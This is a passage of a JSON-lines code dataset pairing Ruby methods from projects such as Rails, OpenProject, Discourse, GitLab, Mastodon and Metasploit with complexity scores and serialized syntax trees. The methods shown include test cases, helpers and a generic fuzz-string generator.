\"]}]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"str\",\"children\":[\"span\"]},{\"type\":\"lvar\",\"children\":[\"count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"badge\"]}]}]}]}]}]}]}","id":"9af1afa8-4e48-4b2d-9ef6-446ad47143d1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/log_subscriber_test.rb","start_line":228,"raw_source":"def test_cached_queries\n    ActiveRecord::Base.cache do\n      Developer.all.load\n      Developer.all.load\n    end\n    assert_equal 2, @logger.logged(:debug).size\n    assert_match(/CACHE/, @logger.logged(:debug).last)\n    assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last)\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cached_queries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"all\"]},\"load\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"all\"]},\"load\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"CACHE\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},\"last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT .*?FROM .?developers.?\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},\"last\"]}]}]}]}","id":"2f583233-9b43-4292-b72c-d0ee0b39c78f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/shares/invite_user_form_component.rb","start_line":53,"raw_source":"def default_role\n      strategy.available_roles.find { |role_hash| role_hash[:default] } || strategy.available_roles.first\n    end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"default_role\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"available_roles\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"default\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"available_roles\"]},\"first\"]}]}]}","id":"0418f9f9-3744-4d8f-b188-ecf444bd00fb"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":2523,"raw_source":"def test_time_select_with_html_options_within_fields_for\n    @post = Post.new\n    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)\n\n    output_buffer = fields_for :post, @post do |f|\n      concat f.time_select(:written_on, {}, { class: \"selector\" })\n    end\n\n    expected = +%{<input type=\"hidden\" id=\"post_written_on_1i\" name=\"post[written_on(1i)]\" value=\"2004\" autocomplete=\"off\" />\\n}\n    expected << %{<input type=\"hidden\" id=\"post_written_on_2i\" name=\"post[written_on(2i)]\" value=\"6\" autocomplete=\"off\" />\\n}\n    expected << %{<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"15\" autocomplete=\"off\" />\\n}\n\n    expected << %(<select id=\"post_written_on_4i\" name=\"post[written_on(4i)]\" class=\"selector\">\\n)\n    0.upto(23) { |i| expected << %(<option value=\"#{sprintf(\"%02d\", i)}\"#{' selected=\"selected\"' if i == 15}>#{sprintf(\"%02d\", i)}</option>\\n) }\n    expected << \"</select>\\n\"\n    expected << \" : \"\n    expected << %(<select id=\"post_written_on_5i\" name=\"post[written_on(5i)]\" class=\"selector\">\\n)\n    0.upto(59) { |i| expected << %(<option value=\"#{sprintf(\"%02d\", i)}\"#{' selected=\"selected\"' if i == 16}>#{sprintf(\"%02d\", i)}</option>\\n) }\n    expected << \"</select>\\n\"\n\n    assert_dom_equal expected, output_buffer\n  end","complexity_score":39.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_select_with_html_options_within_fields_for\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"written_on=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[35]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output_buffer\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields_for\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"time_select\",{\"type\":\"sym\",\"children\":[\"written_on\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"selector\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<input type=\\\"hidden\\\" id=\\\"post_written_on_1i\\\" name=\\\"post[written_on(1i)]\\\" value=\\\"2004\\\" autocomplete=\\\"off\\\" />\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<input type=\\\"hidden\\\" id=\\\"post_written_on_2i\\\" name=\\\"post[written_on(2i)]\\\" value=\\\"6\\\" autocomplete=\\\"off\\\" />\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<input type=\\\"hidden\\\" id=\\\"post_written_on_3i\\\" name=\\\"post[written_on(3i)]\\\" value=\\\"15\\\" autocomplete=\\\"off\\\" />\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"post_written_on_4i\\\" name=\\\"post[written_on(4i)]\\\" class=\\\"selector\\\">\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[0]},\"upto\",{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<option value=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%02d\"]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"str\",\"children\":[\" selected=\\\"selected\\\"\"]},null]}]},{\"type\":\"str\",\"children\":[\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%02d\"]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"str\",\"children\":[\"</option>\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\" : \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"post_written_on_5i\\\" name=\\\"post[written_on(5i)]\\\" class=\\\"selector\\\">\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[0]},\"upto\",{\"type\":\"int\",\"children\":[59]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<option value=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%02d\"]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"str\",\"children\":[\" selected=\\\"selected\\\"\"]},null]}]},{\"type\":\"str\",\"children\":[\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%02d\"]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"str\",\"children\":[\"</option>\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"output_buffer\"]}]}]}]}","id":"51314526-6602-42f1-90a5-ad0fa92fffae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/fuzzer.rb","start_line":364,"raw_source":"def fuzzer_string_paths_giant\n    res = []\n    fuzzer_string_path_prefixes do |pre|\n      fuzzer_string_giant do |str|\n        buf = pre + str\n        block_given? ? yield(buf) : (res << buf)\n      end\n    end\n    res\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fuzzer_string_paths_giant\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fuzzer_string_path_prefixes\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pre\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fuzzer_string_giant\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pre\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"8c48d11e-0462-40d0-9cd4-6692ab66bca8"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/phpbb3/importer.rb","start_line":175,"raw_source":"def import_new_categories\n      puts \"\", \"creating new categories\"\n\n      create_categories(@settings.new_categories) do |row|\n        next if row == \"SKIP\"\n\n        {\n          id: @settings.prefix(row[:forum_id]),\n          name: row[:name],\n          parent_category_id:\n            @lookup.category_id_from_imported_category_id(@settings.prefix(row[:parent_id])),\n        }\n      end\n    end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"import_new_categories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"creating new categories\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_categories\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"new_categories\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"==\",{\"type\":\"str\",\"children\":[\"SKIP\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"forum_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_category_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookup\"]},\"category_id_from_imported_category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_id\"]}]}]}]}]}]}]}]}]}]}","id":"061feae7-2348-465b-bb2d-0e6203e45110"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/response.rb","start_line":60,"raw_source":"def to_models\n        return [] if body.nil?\n        model_or_models = Spaceship::ConnectAPI::Models.parse(body)\n        return [model_or_models].flatten\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_models\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"model_or_models\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Models\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"body\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_or_models\"]}]},\"flatten\"]}]}]}]}","id":"0839bc87-159f-48a0-a580-22d1819d362d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/workhorse_helpers.rb","start_line":8,"raw_source":"def workhorse_send_data\n    @_workhorse_send_data ||= begin\n      header = response.headers[Gitlab::Workhorse::SEND_DATA_HEADER]\n      split_header = header.split(':')\n      type = split_header.shift\n      header = split_header.join(':')\n      [\n        type,\n        Gitlab::Json.parse(Base64.urlsafe_decode64(header))\n      ]\n    end\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"workhorse_send_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_workhorse_send_data\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Workhorse\"]},\"SEND_DATA_HEADER\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"split_header\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"split_header\"]},\"shift\"]}]},{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"split_header\"]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"urlsafe_decode64\",{\"type\":\"lvar\",\"children\":[\"header\"]}]}]}]}]}]}]}","id":"7e0580ae-9fa8-472f-afe7-fd9eb1ff22ea"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/repository/test_cache.rb","start_line":6,"raw_source":"def setup\n    @subject = Holidays::Definition::Repository::Cache.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@subject\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"Definition\"]},\"Repository\"]},\"Cache\"]},\"new\"]}]}]}","id":"dd5a1088-c56f-4118-bd62-9d13e45c90f7"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/account_warning_policy.rb","start_line":4,"raw_source":"def show?\n    target? || role.can?(:manage_appeals)\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"show?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_appeals\"]}]}]}]}","id":"dd3892a2-2363-45e5-9003-20b2cdd61d14"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration_test.rb","start_line":243,"raw_source":"def test_remove_column_with_if_not_exists_not_set\n    migration_a = Class.new(ActiveRecord::Migration::Current) {\n      def version; 100 end\n      def migrate(x)\n        add_column \"people\", \"last_name\", :string\n      end\n    }.new\n\n    migration_b = Class.new(ActiveRecord::Migration::Current) {\n      def version; 101 end\n      def migrate(x)\n        remove_column \"people\", \"last_name\"\n      end\n    }.new\n\n    migration_c = Class.new(ActiveRecord::Migration::Current) {\n      def version; 102 end\n      def migrate(x)\n        remove_column \"people\", \"last_name\"\n      end\n    }.new\n\n    ActiveRecord::Migrator.new(:up, [migration_a], @schema_migration, @internal_metadata, 100).migrate\n    assert_column Person, :last_name, \"migration_a should have added the last_name column on people\"\n\n    ActiveRecord::Migrator.new(:up, [migration_b], @schema_migration, @internal_metadata, 101).migrate\n    assert_no_column Person, :last_name, \"migration_b should have dropped the last_name column on people\"\n\n    migrator = ActiveRecord::Migrator.new(:up, [migration_c], @schema_migration, @internal_metadata, 102)\n\n    if current_adapter?(:SQLite3Adapter)\n      assert_nothing_raised do\n        migrator.migrate\n      end\n    else\n      error = assert_raises do\n        migrator.migrate\n      end\n\n      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)\n        if ActiveRecord::Base.lease_connection.mariadb?\n          assert_match(/Can't DROP COLUMN `last_name`; check that it exists/, error.message)\n        else\n          assert_match(/check that column\\/key exists/, error.message)\n        end\n      elsif current_adapter?(:PostgreSQLAdapter)\n        assert_match(/column \"last_name\" of relation \"people\" does not exist/, error.message)\n      end\n    end\n  ensure\n    Person.reset_column_information\n  end","complexity_score":56.28,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remove_column_with_if_not_exists_not_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration_a\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"Current\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"str\",\"children\":[\"people\"]},{\"type\":\"str\",\"children\":[\"last_name\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"migration_b\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"Current\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"int\",\"children\":[101]}]},{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"str\",\"children\":[\"people\"]},{\"type\":\"str\",\"children\":[\"last_name\"]}]}]}]}]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"migration_c\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"Current\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"int\",\"children\":[102]}]},{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"str\",\"children\":[\"people\"]},{\"type\":\"str\",\"children\":[\"last_name\"]}]}]}]}]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_a\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]},{\"type\":\"int\",\"children\":[100]}]},\"migrate\"]},{\"type\":\"send\",\"children\":[null,\"assert_column\",{\"type\":\"const\",\"children\":[null,\"Person\"]},{\"type\":\"sym\",\"children\":[\"last_name\"]},{\"type\":\"str\",\"children\":[\"migration_a should have added the last_name column on people\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_b\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]},{\"type\":\"int\",\"children\":[101]}]},\"migrate\"]},{\"type\":\"send\",\"children\":[null,\"assert_no_column\",{\"type\":\"const\",\"children\":[null,\"Person\"]},{\"type\":\"sym\",\"children\":[\"last_name\"]},{\"type\":\"str\",\"children\":[\"migration_b should have dropped the last_name column on people\"]}]},{\"type\":\"lvasgn\",\"children\":[\"migrator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_c\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]},{\"type\":\"int\",\"children\":[102]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"SQLite3Adapter\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"migrate\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"migrate\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"Mysql2Adapter\"]},{\"type\":\"sym\",\"children\":[\"TrilogyAdapter\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"mariadb?\"]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Can't DROP COLUMN `last_name`; check that it exists\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"check that column/key exists\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"PostgreSQLAdapter\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"column \\\"last_name\\\" of relation \\\"people\\\" does not 